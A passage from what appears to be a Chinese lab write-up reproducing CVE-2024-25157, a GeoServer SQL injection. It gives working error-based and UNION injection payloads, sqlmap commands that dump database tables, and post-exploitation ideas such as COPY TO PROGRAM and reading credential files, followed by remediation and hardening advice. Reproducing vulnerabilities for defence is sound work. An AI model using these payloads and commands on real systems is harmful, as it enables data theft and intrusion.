layerstest_ws:test_points stylesvulnerable_style bbox116,39,122,32 width800 height600 srsEPSG:4326 formatimage/png idtest_points.1这个请求会应用vulnerable_style样式并试图渲染fid为test_points.1的要素即我们插入的第一个点。idtest_points.1这个参数会被替换到SLD的${id}位置。手工注入探测我们尝试注入一个简单的单引号‘看看是否会引发SQL语法错误。错误信息是判断注入存在的重要依据。 将请求中的id参数修改为idtest_points.1’...idtest_points.1...发送这个请求。如果GeoServer返回了包含SQL错误信息的异常页面如org.postgresql.util.PSQLException: ERROR: ...而不是一个空白地图或正常地图那么基本可以确认存在SQL注入漏洞。错误信息可能提示未终止的字符串字面量这证实了我们的输入被直接拼接进了SQL语句。4.2 利用错误回显进行信息提取PostgreSQL数据库在错误时有时会将部分查询信息回显到错误信息中。我们可以利用这一点来提取数据。这是一种“基于错误”的SQL注入。示例提取当前数据库用户构造如下id参数值idtest_points.1 AND 1CAST((SELECT current_user) AS INT) --解释一下这个Payloadtest_points.1’闭合原有的字符串。AND 1CAST((SELECT current_user) AS INT)这是一个会引发错误的语句。SELECT current_user返回一个字符串如geoserver而CAST(... AS INT)试图将字符串转换为整数这必然失败。PostgreSQL在报告这个类型转换错误时有时会将无法转换的字符串值即current_user的结果包含在错误信息中。--注释掉SQL语句后续的部分避免语法错误。发送请求后观察返回的错误信息。如果运气好你可能会看到类似这样的错误ERROR: invalid input syntax for type integer: geoserver这样我们就从错误信息中直接获取到了数据库当前用户是geoserver。示例提取数据库版本idtest_points.1 AND 1CAST((SELECT version()) AS INT) --同样通过触发类型转换错误可能将SELECT version()的结果如 “PostgreSQL 15.3 on x86_64-pc-linux-gnu…”暴露在错误信息里。实操心得基于错误的注入成功率高度依赖于数据库配置和GeoServer的错误处理机制。新版本或生产环境可能配置了不显示详细错误此时这种方法会失效。但它在内部测试或老旧系统上非常有效。手工构造Payload时要注意URL编码单引号和空格在URL中需要分别编码为%27和%20或。使用curl或 Burp Suite 可以更方便地处理编码。4.3 使用Union查询进行数据提取当错误回显不可用但注入点确实存在且能判断列数时可以使用Union查询来直接获取数据。这需要更多的前期探测。1. 判断查询列数通过ORDER BY子句来猜测。ORDER BY 1表示按第一列排序如果列数存在则查询正常如果ORDER BY 10报错说明列数小于10。idtest_points.1 ORDER BY 5 --逐渐增加数字直到页面返回错误或地图渲染异常假设在ORDER BY 3时正常ORDER BY 4时异常那么原查询的列数就是3。2. 确定各列的数据类型Union查询要求对应列的数据类型兼容。我们需要找到可以显示字符串的列。通常可以假设其中有一列是几何信息geometry一列是ID整数可能还有其他属性列字符串。我们可以用NULL占位然后逐个替换为字符串来测试。 假设判断出列数为3。idtest_points.1 UNION SELECT NULL, NULL, NULL --如果这个请求能正常返回地图可能空白因为没匹配到数据说明语法正确。然后我们将NULL逐个替换为‘a’一个字符串来测试。idtest_points.1 UNION SELECT a, NULL, NULL -- idtest_points.1 UNION SELECT NULL, a, NULL -- idtest_points.1 UNION SELECT NULL, NULL, a --如果某个请求正常返回说明那一列可以接受字符串类型。3. 执行Union查询获取数据假设第2列和第3列可以接受字符串。我们就可以用它们来获取我们想要的信息。idtest_points.1 UNION SELECT 1, current_user, version() --这个请求会尝试将当前用户和数据库版本信息作为地图查询结果的一部分返回。但是这里有一个巨大的挑战WMS GetMap请求的响应是一张图片我们无法直接从图片中读取文本数据。Union查询的结果current_user,version()被GeoServer内部处理了但不会体现在输出的PNG图片上。那么Union注入在这里还有用吗有用但目标需要转向WFS GetFeature请求。WFS服务返回的是地理要素的原始数据通常是XMLGML或JSON格式数据内容会直接包含在响应体中。一个利用WFS的Union注入Payload示例http://靶机IP:8080/geoserver/test_ws/ows? serviceWFS version1.0.0 requestGetFeature typeNametest_ws:test_points maxFeatures1 outputFormatapplication/json CQL_FILTERIN(id)idtest_points.1 UNION SELECT 1,current_user,version(),NULL --注意实际Payload需要根据具体的表结构、列数和WFS参数进行调整CQL_FILTER是另一种过滤方式这里仅为示意。通过WFS请求Union查询的结果可能会直接出现在返回的JSON或XML里从而实现数据窃取。5. 自动化工具利用与深度利用演示手工注入虽然能帮助理解原理但效率低且对于复杂的数据提取显得力不从心。在实际的安全测试中我们通常会借助自动化工具比如sqlmap。5.1 使用sqlmap进行自动化注入测试sqlmap是开源的SQL注入自动化检测和利用工具功能强大。要让它对GeoServer生效我们需要给它提供正确的“注入点”和“参数”。关键点sqlmap需要知道哪个参数是可注入的以及如何触发注入。我们需要将上面手工测试的WMS请求保存到一个文本文件中例如geoserver_req.txt供sqlmap使用。捕获请求使用Burp Suite拦截一个正常的WMS GetMap请求使用存在漏洞的样式将其保存为文件。请求内容大致如下GET /geoserver/test_ws/wms?serviceWMSversion1.1.0requestGetMaplayerstest_ws:test_pointsstylesvulnerable_stylebbox116,39,122,32width800height600srsEPSG:4326formatimage/pngidtest_points.1 HTTP/1.1 Host: 靶机IP:8080 User-Agent: Mozilla/5.0... Accept: image/webp,*/* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close使用sqlmap扫描sqlmap -r geoserver_req.txt -p id --batch --risk3 --level5-r geoserver_req.txt: 从文件加载HTTP请求。-p id: 指定测试id这个参数。--batch: 非交互模式所有问题选择默认。--risk3 --level5: 提高测试的强度和深度因为这种注入点可能比较隐蔽。分析结果如果漏洞存在sqlmap会报告注入类型如基于布尔的盲注、基于时间的盲注、基于错误的注入等并确认数据库类型为PostgreSQL。提取数据确认注入后就可以让sqlmap自动提取数据了。# 获取当前数据库名 sqlmap -r geoserver_req.txt -p id --current-db --batch # 获取所有数据库名 sqlmap -r geoserver_req.txt -p id --dbs --batch # 获取当前数据库的所有表 sqlmap -r geoserver_req.txt -p id -D geodata --tables --batch # 获取指定表如public.test_points的列名 sqlmap -r geoserver_req.txt -p id -D geodata -T test_points --columns --batch # 导出指定表的所有数据 sqlmap -r geoserver_req.txt -p id -D geodata -T test_points --dump --batch注意事项使用sqlmap测试WMS接口时由于响应是图片sqlmap可能更倾向于使用盲注Boolean-based或Time-based技术这比基于错误的注入更通用但速度较慢。你需要有足够的耐心。另外频繁的自动化测试请求可能会对GeoServer服务造成压力请在授权的测试环境中进行。5.2 漏洞的深度利用场景思考成功注入并获取数据库访问权限后攻击者的行动取决于数据库的权限和网络环境。数据窃取这是最直接的风险。攻击者可以导出geodata数据库中的所有空间数据如敏感的基础设施位置、行政区划详图以及可能存在于同一数据库或其他可访问数据库中的业务数据、用户凭证如果存储不当等。权限提升如果GeoServer连接数据库的用户如我们设置的geoserver拥有高权限如超级用户postgres或具有COPY TO PROGRAM权限攻击者可能尝试在数据库服务器上执行系统命令。例如利用PostgreSQL的lo_import结合COPY或pg_read_file等函数读取服务器文件甚至通过创建扩展如pg_exec需提前安装来执行命令。内网横向移动如果数据库服务器位于内网攻击者可能利用数据库作为跳板通过数据库函数进行内网端口扫描如使用dblink扩展或尝试连接其他内网数据库服务。文件系统读写利用PostgreSQL的文件读写函数如pg_read_file,pg_ls_dir以及超级用户的COPY FROM/to PROGRAM攻击者可能读取GeoServer服务器上的配置文件如web.xml,geoserver-data/security/usergroup/default/users.xml其中可能包含加密或明文的密码哈希为进一步渗透提供条件。这些深度利用手法的成功与否严格依赖于数据库用户的权限和数据库的安全配置但CVE-2024-25157这个漏洞为攻击者打开了一扇通往数据库的大门。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御它。对于受到CVE-2024-25157影响的系统必须立即采取行动。6.1 官方补丁与版本升级这是最根本、最推荐的解决方案。升级GeoServer访问GeoServer官网下载最新的稳定版2.24.x系列应升级到已修复该漏洞的版本如2.24.2及以上2.23.x和2.22.x系列也有对应的安全更新。官方发布说明中会明确列出修复了CVE-2024-25157。升级步骤备份当前的GEOSERVER_DATA_DIR目录通常位于/opt/geoserver/data_dir或安装目录下的data_dir。停止正在运行的GeoServer服务。解压新版本GeoServer到新目录。将备份的GEOSERVER_DATA_DIR目录覆盖到新版本的对应位置。检查并更新webapps/geoserver/WEB-INF/lib下的任何自定义jar包如果有。启动新版本的GeoServer并进行全面功能测试。6.2 临时缓解措施如果因故无法立即升级可以考虑以下临时方案但请注意这些措施可能影响功能且不能保证完全堵住所有利用途径。审查并禁用不安全的SLD样式立即检查所有SLD样式文件特别是用户自定义或从外部导入的样式。重点查找在ogc:FeatureId、ogc:PropertyIsEqualTo等过滤器Filter中直接使用${param}的表达式。将这些样式禁用或删除。启用SLD参数化输入验证GeoServer的样式编辑器本身有参数验证选项但依赖于开发者正确配置。可以强制要求对所有SLD参数进行正则表达式验证例如fid参数只允许匹配^[a-zA-Z0-9_.]$这种模式严格限制输入字符集。使用CQL过滤器替代SLD参数化对于动态要素筛选考虑使用CQLCommon Query Language过滤器并通过GeoServer的“样式参数化”功能进行安全的参数传递。确保在服务层如WMS请求的CQL_FILTER参数对输入进行验证而不是在SLD内部拼接。最小化数据库用户权限确保GeoServer连接数据库的用户如geoserver仅具有所需的最小权限。通常只授予对特定业务表的SELECT权限绝对不能授予SUPERUSER、CREATE,DROP,EXECUTE等高级权限。将其与业务数据库分离使用不同的用户和数据库。部署Web应用防火墙WAF在GeoServer前端部署WAF配置规则以拦截包含常见SQL注入特征如单引号、UNION、SELECT、SLEEP()等的请求。但这只是一种纵深防御措施可能被绕过。6.3 长期安全开发规范从根源上避免此类问题需要在开发流程中融入安全实践。输入验证与净化对所有用户输入进行“白名单”验证。对于像fid这样的参数应严格验证其格式是否符合预期如表名.数字。在代码层面使用预编译语句Prepared Statements或参数化查询来访问数据库这是防止SQL注入的黄金法则。虽然GeoServer核心代码需要修复但自定义插件或集成代码中必须遵循。安全代码审查将SLD文件、CQL过滤器等配置文件的审查纳入代码审查流程。特别关注动态内容拼接。最小权限原则不仅在数据库在操作系统、文件系统等所有层面为GeoServer进程分配最小必要权限。定期安全更新与漏洞扫描订阅GeoServer的安全公告定期更新版本。使用软件成分分析SCA工具和动态应用安全测试DAST工具对部署的GeoServer实例进行定期扫描。7. 从CVE-2024-25157看GIS应用安全这次漏洞复现不仅仅是一次技术练习它更深刻地揭示了GIS地理信息系统这类专业应用在安全上面临的独特挑战。专业性带来的盲区GIS开发者和运维人员往往是地理信息、测绘领域的专家他们对空间算法、坐标转换、地图渲染了如指掌但对通用的Web安全漏洞如SQL注入、XSS、CSRF可能缺乏足够的敏感度和知识储备。他们可能会认为“我的地图服务器不直接处理用户登录很安全”却忽略了像SLD参数化这样看似专业的功能点也可能成为通用漏洞的入口。配置的复杂性GeoServer功能极其强大配置项繁多。动态样式、CQL过滤器、SQL视图、WPS流程等高级功能在提供灵活性的同时也极大地增加了攻击面。一个不经意的配置如允许用户上传SLD、启用不安全的SQL视图就可能引入严重风险。数据的高价值性GIS系统承载的数据往往具有很高的价值甚至是敏感数据如国土规划、基础设施、军事部署。这使得它们成为攻击者更有吸引力的目标。一次成功的SQL注入泄露的可能不仅仅是用户信息而是具有战略价值的地理空间数据。因此对于所有涉及GIS应用开发和运维的团队我的建议是将安全视为一项基础能力而非附加功能。在项目初期就引入安全设计和评审对开发人员进行基础的安全培训建立针对GIS配置的安全检查清单并像对待核心业务系统一样对地图服务进行定期的安全评估和渗透测试。CVE-2024-25157是一个警钟提醒我们在享受开源GIS软件带来的强大功能和便利时也必须承担起守护其安全的责任。
)
)
![华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)
![华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)
